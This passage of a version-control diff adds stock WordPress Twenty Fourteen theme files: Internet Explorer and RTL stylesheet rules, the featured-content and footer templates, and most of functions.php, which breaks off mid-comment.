+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .entry-content table,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .entry-title,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+.ie8 .primary-sidebar .widget_twentyfourteen_ephemera .entry-content table {
+	font-size: 11px;
+	line-height: 1.6363636363;
+}
+
+.ie8 .footer-sidebar .widget_archive li,
+.ie8 .footer-sidebar .widget_categories li,
+.ie8 .footer-sidebar .widget_links li,
+.ie8 .footer-sidebar .widget_meta li,
+.ie8 .footer-sidebar .widget_nav_menu li,
+.ie8 .footer-sidebar .widget_pages li,
+.ie8 .footer-sidebar .widget_recent_comments li,
+.ie8 .footer-sidebar .widget_recent_entries li,
+.ie8 .primary-sidebar .widget_archive li,
+.ie8 .primary-sidebar .widget_categories li,
+.ie8 .primary-sidebar .widget_links li,
+.ie8 .primary-sidebar .widget_meta li,
+.ie8 .primary-sidebar .widget_nav_menu li,
+.ie8 .primary-sidebar .widget_pages li,
+.ie8 .primary-sidebar .widget_recent_comments li,
+.ie8 .primary-sidebar .widget_recent_entries li {
+	border-top: 0;
+	padding: 0 0 6px;
+}
+
+.ie8 .footer-sidebar .widget_categories li ul,
+.ie8 .footer-sidebar .widget_nav_menu li ul,
+.ie8 .footer-sidebar .widget_pages li ul,
+.ie8 .primary-sidebar .widget_categories li ul,
+.ie8 .primary-sidebar .widget_nav_menu li ul,
+.ie8 .primary-sidebar .widget_pages li ul {
+	border-top: 0;
+	margin-top: 0;
+}
+
+.ie8 .grid .featured-content .entry-header {
+	border-color: #000;
+	border-style: solid;
+	border-width: 12px 10px;
+	height: 96px;
+	padding: 0;
+}
+
+.ie8 .featured-content {
+	padding-left: 17.61904761%;
+}
+
+.ie8 .grid .featured-content .hentry {
+	float: left;
+	width: 33.3333333%;
+}
+
+.ie8 .grid .featured-content .hentry:nth-child( 3n+1 ) {
+	clear: both;
+}
+
+.ie8 .grid .featured-content .entry-header {
+	height: 120px;
+}
+
+.ie8 .slider .featured-content .entry-title {
+	font-size: 33px;
+	line-height: 1.0909090909;
+}
+
+.ie8 .slider .featured-content .entry-header {
+	min-height: inherit;
+	padding: 24px 30px 48px;
+	position: absolute;
+	left: 0;
+	bottom: 0;
+	width: 50%;
+	z-index: 3;
+}
+
+.ie8 .slider-control-paging {
+	background: transparent;
+	margin-top: -48px;
+	padding-left: 24px;
+	width: 50%;
+}
+
+.ie8 .slider-control-paging li {
+	margin: 12px 12px 12px 0;
+}
+
+.ie8 .slider-control-paging a {
+	height: 24px;
+	width: 24px;
+}
+
+.ie8 .slider-control-paging a:before {
+	top: 6px;
+	left: 6px;
+}
+
+.ie8 .slider-direction-nav {
+	clear: none;
+	float: right;
+	margin-top: -48px;
+	width: 98px;
+}
+
+.ie8 .slider-direction-nav li:first-child {
+	padding: 0 1px 0 0;
+}
+
+.ie8 .slider-direction-nav li {
+	border: 0;
+	padding: 0 0 0 1px;
+}
+
+.ie8 .slider-direction-nav a {
+	height: 48px;
+}
+
+.ie8 .slider-direction-nav a:before {
+	line-height: 48px;
+}
+
+
+/**
+ * Internet Explorer 7
+ */
+
+.ie7 audio,
+.ie7 canvas,
+.ie7 video {
+	display: inline;
+	zoom: 1;
+}
+
+.ie7 button,
+.ie7 input,
+.ie7 select,
+.ie7 textarea {
+	vertical-align: middle;
+}
+
+.ie7 button,
+.ie7 input[type="button"],
+.ie7 input[type="reset"],
+.ie7 input[type="submit"] {
+	overflow: visible;
+}
+
+.ie7 .screen-reader-text {
+	clip: rect(1px 1px 1px 1px);
+}
+
+.ie7 .site,
+.ie7 .site-header {
+	max-width: 100%;
+}
+
+.ie7 .search-toggle {
+	line-height: 45px;
+	margin-right: 190px;
+	padding: 0 20px;
+	text-transform: uppercase;
+	width: auto;
+}
+
+.ie7 .search-toggle .screen-reader-text {
+	color: #fff;
+	position: relative; /* Override inherited `absolute` value set in style.css. */
+}
+
+.ie7 .search-box {
+	height: 24px;
+	padding: 12px 0;
+}
+
+.ie7 .search-box .search-field {
+	margin: 0 10px;
+	width: 33%;
+}
+
+.ie7 .site-navigation li {
+	border-top: 1px solid #4d4d4d;
+}
+
+.ie7 .primary-navigation .nav-menu,
+.ie7 .secondary-navigation {
+	border-bottom: 1px solid #4d4d4d;
+}
+
+.ie7 .secondary-navigation {
+	margin: 48px auto;
+	max-width: 474px
+}
+
+.ie7 .content-area {
+	padding-top: 48px;
+}
+
+.ie7 .hentry {
+	max-width: 100%;
+}
+
+.ie7 .menu-toggle {
+	color: #fff;
+	font-weight: 400;
+	font-size: 16px;
+	line-height: 45px;
+	text-transform: uppercase;
+	width: 200px;
+}
+
+.ie7 .post-thumbnail img {
+	display: block;
+	margin: 0 auto;
+}
+
+.ie7 .entry-meta .tag-links a {
+	margin-left: 0;
+}
+
+.ie7 .content-sidebar {
+	padding: 48px 10px;
+}
+
+.ie7 .singular .hentry.has-post-thumbnail {
+	margin-top: -48px;
+}
+
+.ie7 .entry-meta > span,
+.ie7 .widget_twentyfourteen_ephemera .entry-title {
+	margin-right: 20px;
+}
+
+.ie7 #secondary {
+	border-bottom: 1px solid #4d4d4d;
+}
+
+.ie7 .content-sidebar {
+	border-top: 1px solid #e5e5e5;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.ie7 .widget {
+	margin: 0 auto 48px;
+	max-width: 474px;
+}
+
+.ie7 .content-sidebar .widget_twentyfourteen_ephemera .widget-title {
+	padding-top: 7px;
+}
+
+.ie7 .slider .featured-content .hentry {
+	display: block;
+}
+
+.ie7 .featured-content .entry-header {
+	min-height: 0;
+}
+
+.ie7 .slider-control-paging a {
+	line-height: 40px;
+	text-indent: 0;
+}
+
+.ie7 .slider-control-paging .slider-active {
+	color: #41a62a;
+}
+
+.ie7 .slider-direction-nav {
+	border-top: 2px solid #fff;
+}
+
+.ie7 .slider-direction-nav li {
+	border: 0;
+	width: 49%;
+}
+
+.ie7 .slider-direction-nav a {
+	font-size: 16px;
+	line-height: 45px;
+	text-transform: uppercase;
+}
+
+.ie7 .slider-direction-nav a:hover {
+	background-color: #000;
+	color: #41a62a;
+}
+
+.ie7 .search-toggle {
+	line-height: 45px;
+	margin-right: 190px;
+}
+
+.ie7 .featured-content .post-thumbnail,
+.ie7 .slider .featured-content .post-thumbnail {
+	padding-top: 0;
+}
+
+.ie7 .featured-content .post-thumbnail img {
+	position: relative;
+}
+
+.ie7 .featured-content .entry-header {
+	width: auto;
+}
+
+.ie7 .grid .featured-content .hentry {
+	float: left;
+	margin: 0 auto;
+	max-width: 672px;
+	width: 33.333333%;
+}
+
+.ie7 .slider .featured-content .entry-header {
+	margin: 0 auto;
+	max-width: 1038px;
+}
+
+.ie7 .slider-control-paging {
+	float: none;
+	margin: -24px auto 0;
+	max-width: 1038px;
+	width: auto;
+}
+
+
+/**
+ * RTL for Internet Explorer 8 & 7
+ */
+
+.rtl .attachment a,
+.rtl .gallery a,
+.rtl .wp-caption a,
+.rtl .widget_twentyfourteen_ephemera .entry-content a {
+	display: inline;
+}
+
+
+/**
+ * RTL overrides for Internet Explorer 8
+ */
+
+.ie8 .rtl .site-content .entry-meta > span {
+	margin-right: auto;
+	margin-left: 10px;
+}
+
+.ie8 .rtl .site-content .format-quote .post-format a:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.ie8 .rtl .site-content .format-gallery .post-format a:before {
+	margin-right: auto;
+	margin-left: 4px;
+}
+
+.ie8 .rtl .site-content .format-aside .post-format a:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.ie8 .rtl .site-content .featured-post:before {
+	margin-right: auto;
+	margin-left: 3px;
+}
+
+.ie8 .rtl .site-content .entry-date a:before,
+.ie8 .rtl .attachment .site-content span.entry-date:before {
+	margin-right: auto;
+	margin-left: 1px;
+}
+
+.ie8 .rtl .site-content .comments-link a:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.ie8 .rtl .site-content .full-size-link a:before {
+	margin-right: auto;
+	margin-left: 1px;
+}
+
+.ie8 .rtl .main-content {
+	float: right;
+}
+
+.ie8 .rtl .content-area {
+	float: right;
+}
+
+.ie8 .rtl .site-content {
+	margin-right: 17.61904761%;
+	margin-left: 29.04761904%;
+}
+
+.ie8 .rtl .search-box-wrapper,
+.ie8 .rtl .featured-content {
+	padding-right: 17.61904761%;
+	padding-left: 0;
+}
+
+.ie8 .rtl .header-main {
+	padding: 0 30px 0 0;
+}
+
+.ie8 .rtl .search-toggle {
+	margin-right: auto;
+	margin-left: 0;
+}
+
+.ie8 .rtl .primary-navigation {
+	float: left;
+	margin: 0 -10px 0 1px;
+}
+
+.ie8 .rtl .primary-navigation ul ul {
+	float: right;
+	right: -999em;
+	left: auto;
+}
+
+.ie8 .rtl .primary-navigation ul ul ul {
+	right: -999em;
+	left: auto;
+}
+
+.ie8 .rtl .primary-navigation ul li:hover > ul,
+.ie8 .rtl .primary-navigation ul li.focus > ul {
+	right: auto;
+	left: auto;
+}
+
+.ie8 .rtl .primary-navigation ul ul li:hover > ul,
+.ie8 .rtl .primary-navigation ul ul li.focus > ul {
+	right: 100%;
+	left: auto;
+}
+
+.ie8 .rtl .entry-meta .tag-links a:before {
+	right: -8px;
+}
+
+.ie8 .rtl .archive-header,
+.ie8 .rtl .comments-area,
+.ie8 .rtl .image-navigation,
+.ie8 .rtl .page-header,
+.ie8 .rtl .page-content,
+.ie8 .rtl .post-navigation,
+.ie8 .rtl .site-content .entry-header,
+.ie8 .rtl .site-content .entry-content,
+.ie8 .rtl .site-content .entry-summary,
+.ie8 .rtl .site-content footer.entry-meta {
+	margin-right: auto;
+	margin-left: 54px;
+}
+
+.ie8 .rtl .comment-author,
+.ie8 .rtl .comment-awaiting-moderation,
+.ie8 .rtl .comment-content,
+.ie8 .rtl .comment-list .reply,
+.ie8 .rtl .comment-metadata {
+	padding-right: 50px;
+	padding-left: 0;
+}
+
+.ie8 .rtl .comment-list .children {
+	margin-right: 20px;
+	margin-left: auto;
+}
+
+
+.ie8 .rtl.full-width .site-content {
+	margin-left: 0;
+}
+
+.ie8 .rtl.full-width .archive-header,
+.ie8 .rtl.full-width .comments-area,
+.ie8 .rtl.full-width .image-navigation,
+.ie8 .rtl.full-width .page-header,
+.ie8 .rtl.full-width .page-content,
+.ie8 .rtl.full-width .post-navigation,
+.ie8 .rtl.full-width .site-content .entry-header,
+.ie8 .rtl.full-width .site-content .entry-content,
+.ie8 .rtl.full-width .site-content .entry-summary,
+.ie8 .rtl.full-width .site-content footer.entry-meta {
+	margin-left: auto;
+}
+
+.ie8 .rtl .contributor-avatar {
+	margin-right: -168px;
+	margin-left: auto;
+}
+
+.ie8 .rtl .contributor-summary {
+	float: right;
+}
+
+.ie8 .rtl .site:before {
+	right: 0;
+	left: auto;
+}
+
+.ie8 .rtl #secondary {
+	float: right;
+	margin: 0 -100% 0 0;
+}
+
+.ie8 .rtl .secondary-navigation ul ul {
+	right: -999em;
+	left: auto;
+}
+
+.ie8 .rtl .secondary-navigation ul li:hover > ul,
+.ie8 .rtl .secondary-navigation ul li.focus > ul {
+	right: 202px;
+	left: auto;
+}
+
+.ie8 .rtl .content-sidebar {
+	float: left;
+	margin-right: -29.04761904%;
+	margin-left: auto;
+}
+
+.ie8 .rtl .footer-sidebar .widget {
+	float: right;
+}
+
+.ie8 .rtl .featured-content {
+	padding-right: 17.61904761%;
+	padding-left: 0;
+}
+
+.ie8 .rtl.grid .featured-content .hentry {
+	float: right;
+}
+
+.ie8 .rtl.slider .featured-content .entry-header {
+	right: 0;
+	left: auto;
+}
+
+.ie8 .rtl .slider-control-paging {
+	padding-right: 24px;
+	padding-left: 0;
+}
+
+.ie8 .rtl .slider-control-paging li {
+	margin: 12px 0 12px 12px;
+}
+
+.ie8 .rtl .slider-control-paging a:before {
+	right: 6px;
+	left: auto;
+}
+
+.ie8 .rtl .slider-direction-nav {
+	float: left;
+}
+
+.ie8 .rtl .slider-direction-nav li {
+	padding: 0 1px 0 0;
+}
+
+.ie8 .rtl .slider-direction-nav li:first-child {
+	padding: 0 0 0 1px;
+}
+
+
+/**
+ * RTL overrides for Internet Explorer 7
+ */
+
+.ie7 .rtl.grid .featured-content .hentry {
+	float: right;
+}
+
+.ie7 .rtl .slider-control-paging {
+	float: none;
+	margin: -24px auto 0;
+}
+
+.ie7 .rtl .entry-meta .tag-links a {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.ie7 .rtl .search-toggle {
+	margin-right: auto;
+	margin-left: 190px;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/featured-content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/featured-content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/featured-content.php	(revision 33402)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * The template for displaying featured content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<div id="featured-content" class="featured-content">
+	<div class="featured-content-inner">
+	<?php
+		/**
+		 * Fires before the Twenty Fourteen featured content.
+		 *
+		 * @since Twenty Fourteen 1.0
+		 */
+		do_action( 'twentyfourteen_featured_posts_before' );
+
+		$featured_posts = twentyfourteen_get_featured_posts();
+		foreach ( (array) $featured_posts as $order => $post ) :
+			setup_postdata( $post );
+
+			 // Include the featured content template.
+			get_template_part( 'content', 'featured-post' );
+		endforeach;
+
+		/**
+		 * Fires after the Twenty Fourteen featured content.
+		 *
+		 * @since Twenty Fourteen 1.0
+		 */
+		do_action( 'twentyfourteen_featured_posts_after' );
+
+		wp_reset_postdata();
+	?>
+	</div><!-- .featured-content-inner -->
+</div><!-- #featured-content .featured-content -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/footer.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains footer content and the closing of the #main and #page div elements.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+		</div><!-- #main -->
+
+		<footer id="colophon" class="site-footer" role="contentinfo">
+
+			<?php get_sidebar( 'footer' ); ?>
+
+			<div class="site-info">
+				<?php do_action( 'twentyfourteen_credits' ); ?>
+				<a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentyfourteen' ) ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentyfourteen' ), 'WordPress' ); ?></a>
+			</div><!-- .site-info -->
+		</footer><!-- #colophon -->
+	</div><!-- #page -->
+
+	<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/functions.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/functions.php	(revision 33402)
@@ -0,0 +1,519 @@
+<?php
+/**
+ * Twenty Fourteen functions and definitions
+ *
+ * Set up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme you can override certain functions (those wrapped
+ * in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before
+ * the parent theme's file, so the child theme functions would be used.
+ *
+ * @link http://codex.wordpress.org/Theme_Development
+ * @link http://codex.wordpress.org/Child_Themes
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters,
+ * @link http://codex.wordpress.org/Plugin_API
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Set up the content width value based on the theme's design.
+ *
+ * @see twentyfourteen_content_width()
+ *
+ * @since Twenty Fourteen 1.0
+ */
+if ( ! isset( $content_width ) ) {
+	$content_width = 474;
+}
+
+/**
+ * Twenty Fourteen only works in WordPress 3.6 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '3.6', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+}
+
+if ( ! function_exists( 'twentyfourteen_setup' ) ) :
+/**
+ * Twenty Fourteen setup.
+ *
+ * Set up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which
+ * runs before the init hook. The init hook is too late for some features, such
+ * as indicating support post thumbnails.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_setup() {
+
+	/*
+	 * Make Twenty Fourteen available for translation.
+	 *
+	 * Translations can be added to the /languages/ directory.
+	 * If you're building a theme based on Twenty Fourteen, use a find and
+	 * replace to change 'twentyfourteen' to the name of your theme in all
+	 * template files.
+	 */
+	load_theme_textdomain( 'twentyfourteen', get_template_directory() . '/languages' );
+
+	// This theme styles the visual editor to resemble the theme style.
+	add_editor_style( array( 'css/editor-style.css', twentyfourteen_font_url(), 'genericons/genericons.css' ) );
+
+	// Add RSS feed links to <head> for posts and comments.
+	add_theme_support( 'automatic-feed-links' );
+
+	// Enable support for Post Thumbnails, and declare two sizes.
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 672, 372, true );
+	add_image_size( 'twentyfourteen-full-width', 1038, 576, true );
+
+	// This theme uses wp_nav_menu() in two locations.
+	register_nav_menus( array(
+		'primary'   => __( 'Top primary menu', 'twentyfourteen' ),
+		'secondary' => __( 'Secondary menu in left sidebar', 'twentyfourteen' ),
+	) );
+
+	/*
+	 * Switch default core markup for search form, comment form, and comments
+	 * to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
+	) );
+
+	/*
+	 * Enable support for Post Formats.
+	 * See http://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery',
+	) );
+
+	// This theme allows users to set a custom background.
+	add_theme_support( 'custom-background', apply_filters( 'twentyfourteen_custom_background_args', array(
+		'default-color' => 'f5f5f5',
+	) ) );
+
+	// Add support for featured content.
+	add_theme_support( 'featured-content', array(
+		'featured_content_filter' => 'twentyfourteen_get_featured_posts',
+		'max_posts' => 6,
+	) );
+
+	// This theme uses its own gallery styles.
+	add_filter( 'use_default_gallery_style', '__return_false' );
+}
+endif; // twentyfourteen_setup
+add_action( 'after_setup_theme', 'twentyfourteen_setup' );
+
+/**
+ * Adjust content_width value for image attachment template.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_content_width() {
+	if ( is_attachment() && wp_attachment_is_image() ) {
+		$GLOBALS['content_width'] = 810;
+	}
+}
+add_action( 'template_redirect', 'twentyfourteen_content_width' );
+
+/**
+ * Getter function for Featured Content Plugin.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return array An array of WP_Post objects.
+ */
+function twentyfourteen_get_featured_posts() {
+	/**
+	 * Filter the featured posts to return in Twenty Fourteen.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array|bool $posts Array of featured posts, otherwise false.
+	 */
+	return apply_filters( 'twentyfourteen_get_featured_posts', array() );
+}
+
+/**
+ * A helper conditional function that returns a boolean value.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return bool Whether there are featured posts.
+ */
+function twentyfourteen_has_featured_posts() {
+	return ! is_paged() && (bool) twentyfourteen_get_featured_posts();
+}
+
+/**
+ * Register three Twenty Fourteen widget areas.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_widgets_init() {
+	require get_template_directory() . '/inc/widgets.php';
+	register_widget( 'Twenty_Fourteen_Ephemera_Widget' );
+
+	register_sidebar( array(
+		'name'          => __( 'Primary Sidebar', 'twentyfourteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Main sidebar that appears on the left.', 'twentyfourteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h1 class="widget-title">',
+		'after_title'   => '</h1>',
+	) );
+	register_sidebar( array(
+		'name'          => __( 'Content Sidebar', 'twentyfourteen' ),
+		'id'            => 'sidebar-2',
+		'description'   => __( 'Additional sidebar that appears on the right.', 'twentyfourteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h1 class="widget-title">',
+		'after_title'   => '</h1>',
+	) );
+	register_sidebar( array(
+		'name'          => __( 'Footer Widget Area', 'twentyfourteen' ),
+		'id'            => 'sidebar-3',
+		'description'   => __( 'Appears in the footer section of the site.', 'twentyfourteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h1 class="widget-title">',
+		'after_title'   => '</h1>',
+	) );
+}
+add_action( 'widgets_init', 'twentyfourteen_widgets_init' );
+
+/**
+ * Register Lato Google font for Twenty Fourteen.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return string
+ */
+function twentyfourteen_font_url() {
+	$font_url = '';
+	/*
+	 * Translators: If there are characters in your language that are not supported
+	 * by Lato, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Lato font: on or off', 'twentyfourteen' ) ) {
+		$query_args = array(
+			'family' => urlencode( 'Lato:300,400,700,900,300italic,400italic,700italic' ),
+			'subset' => urlencode( 'latin,latin-ext' ),
+		);
+		$font_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
+	}
+
+	return $font_url;
+}
+
+/**
+ * Enqueue scripts and styles for the front end.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_scripts() {
+	// Add Lato font, used in the main stylesheet.
+	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
+
+	// Add Genericons font, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.0.3' );
+
+	// Load our main stylesheet.
+	wp_enqueue_style( 'twentyfourteen-style', get_stylesheet_uri() );
+
+	// Load the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentyfourteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfourteen-style' ), '20131205' );
+	wp_style_add_data( 'twentyfourteen-ie', 'conditional', 'lt IE 9' );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+
+	if ( is_singular() && wp_attachment_is_image() ) {
+		wp_enqueue_script( 'twentyfourteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20130402' );
+	}
+
+	if ( is_active_sidebar( 'sidebar-3' ) ) {
+		wp_enqueue_script( 'jquery-masonry' );
+	}
+
+	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
+		wp_enqueue_script( 'twentyfourteen-slider', get_template_directory_uri() . '/js/slider.js', array( 'jquery' ), '20131205', true );
+		wp_localize_script( 'twentyfourteen-slider', 'featuredSliderDefaults', array(
+			'prevText' => __( 'Previous', 'twentyfourteen' ),
+			'nextText' => __( 'Next', 'twentyfourteen' )
+		) );
+	}
+
+	wp_enqueue_script( 'twentyfourteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20140616', true );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfourteen_scripts' );
+
+/**
+ * Enqueue Google fonts style to admin screen for custom header display.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_admin_fonts() {
+	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
+}
+add_action( 'admin_print_scripts-appearance_page_custom-header', 'twentyfourteen_admin_fonts' );
+
+if ( ! function_exists( 'twentyfourteen_the_attached_image' ) ) :
+/**
+ * Print the attached image with a link to the next attached image.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_the_attached_image() {
+	$post                = get_post();
+	/**
+	 * Filter the default Twenty Fourteen attachment size.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $dimensions {
+	 *     An array of height and width dimensions.
+	 *
+	 *     @type int $height Height of the image in pixels. Default 810.
+	 *     @type int $width  Width of the image in pixels. Default 810.
+	 * }
+	 */
+	$attachment_size     = apply_filters( 'twentyfourteen_attachment_size', array( 810, 810 ) );
+	$next_attachment_url = wp_get_attachment_url();
+
+	/*
+	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
+	 * of the next adjacent image in a gallery, or the first image (if we're
+	 * looking at the last image in a gallery), or, in a gallery of one, just the
+	 * link to that image file.
+	 */
+	$attachment_ids = get_posts( array(
+		'post_parent'    => $post->post_parent,
+		'fields'         => 'ids',
+		'numberposts'    => -1,
+		'post_status'    => 'inherit',
+		'post_type'      => 'attachment',
+		'post_mime_type' => 'image',
+		'order'          => 'ASC',
+		'orderby'        => 'menu_order ID',
+	) );
+
+	// If there is more than 1 attachment in a gallery...
+	if ( count( $attachment_ids ) > 1 ) {
+		foreach ( $attachment_ids as $attachment_id ) {
+			if ( $attachment_id == $post->ID ) {
+				$next_id = current( $attachment_ids );
+				break;
+			}
+		}
+
+		// get the URL of the next image attachment...
+		if ( $next_id ) {
+			$next_attachment_url = get_attachment_link( $next_id );
+		}
+
+		// or get the URL of the first image attachment.
+		else {
+			$next_attachment_url = get_attachment_link( array_shift( $attachment_ids ) );
+		}
+	}
+
+	printf( '<a href="%1$s" rel="attachment">%2$s</a>',
+		esc_url( $next_attachment_url ),
+		wp_get_attachment_image( $post->ID, $attachment_size )
+	);
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_list_authors' ) ) :
+/**
+ * Print a list of all site contributors who published at least one post.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_list_authors() {
+	$contributor_ids = get_users( array(
+		'fields'  => 'ID',
+		'orderby' => 'post_count',
+		'order'   => 'DESC',
+		'who'     => 'authors',
+	) );
+
+	foreach ( $contributor_ids as $contributor_id ) :
+		$post_count = count_user_posts( $contributor_id );
+
+		// Move on if user has not published a post (yet).
+		if ( ! $post_count ) {
+			continue;
+		}
+	?>
+
+	<div class="contributor">
+		<div class="contributor-info">
+			<div class="contributor-avatar"><?php echo get_avatar( $contributor_id, 132 ); ?></div>
+			<div class="contributor-summary">
+				<h2 class="contributor-name"><?php echo get_the_author_meta( 'display_name', $contributor_id ); ?></h2>
+				<p class="contributor-bio">
+					<?php echo get_the_author_meta( 'description', $contributor_id ); ?>
+				</p>
+				<a class="button contributor-posts-link" href="<?php echo esc_url( get_author_posts_url( $contributor_id ) ); ?>">
+					<?php printf( _n( '%d Article', '%d Articles', $post_count, 'twentyfourteen' ), $post_count ); ?>
+				</a>
+			</div><!-- .contributor-summary -->
+		</div><!-- .contributor-info -->
+	</div><!-- .contributor -->
+
+	<?php
+	endforeach;
+}
+endif;
+
+/**
+ * Extend the default WordPress body classes.
+ *
+ * Adds body classes to denote:
+ * 1. Single or multiple authors.
+ * 2. Presence of header image except in Multisite signup and activate pages.
+ * 3. Index views.
+ * 4. Full-width content layout.
+ * 5. Presence of footer widgets.
+ * 6. Single views.
+ * 7. Featured content layout.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param array $classes A list of existing body class values.
+ * @return array The filtered body class list.
+ */
+function twentyfourteen_body_classes( $classes ) {
+	if ( is_multi_author() ) {
+		$classes[] = 'group-blog';
+	}
+
+	if ( get_header_image() ) {
+		$classes[] = 'header-image';
+	} elseif ( ! in_array( $GLOBALS['pagenow'], array( 'wp-activate.php', 'wp-signup.php' ) ) ) {
+		$classes[] = 'masthead-fixed';
+	}
+
+	if ( is_archive() || is_search() || is_home() ) {
+		$classes[] = 'list-view';
+	}
+
+	if ( ( ! is_active_sidebar( 'sidebar-2' ) )
+		|| is_page_template( 'page-templates/full-width.php' )
+		|| is_page_template( 'page-templates/contributors.php' )
+		|| is_attachment() ) {
+		$classes[] = 'full-width';
+	}
+
+	if ( is_active_sidebar( 'sidebar-3' ) ) {
+		$classes[] = 'footer-widgets';
+	}
+
+	if ( is_singular() && ! is_front_page() ) {
+		$classes[] = 'singular';
+	}
+
+	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
+		$classes[] = 'slider';
+	} elseif ( is_front_page() ) {
+		$classes[] = 'grid';
+	}
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentyfourteen_body_classes' );
+
+/**
+ * Extend the default WordPress post classes.
+ *
+ * Adds a post class to denote:
+ * Non-password protected page with a post thumbnail.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param array $classes A list of existing post class values.
+ * @return array The filtered post class list.
+ */
+function twentyfourteen_post_classes( $classes ) {
+	if ( ! post_password_required() && ! is_attachment() && has_post_thumbnail() ) {
+		$classes[] = 'has-post-thumbnail';
+	}
+
+	return $classes;
+}
+add_filter( 'post_class', 'twentyfourteen_post_classes' );
+
+/**
+ * Create a nicely formatted and more specific title element text for output
+ * in head of document, based on current view.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @global int $paged WordPress archive pagination page count.
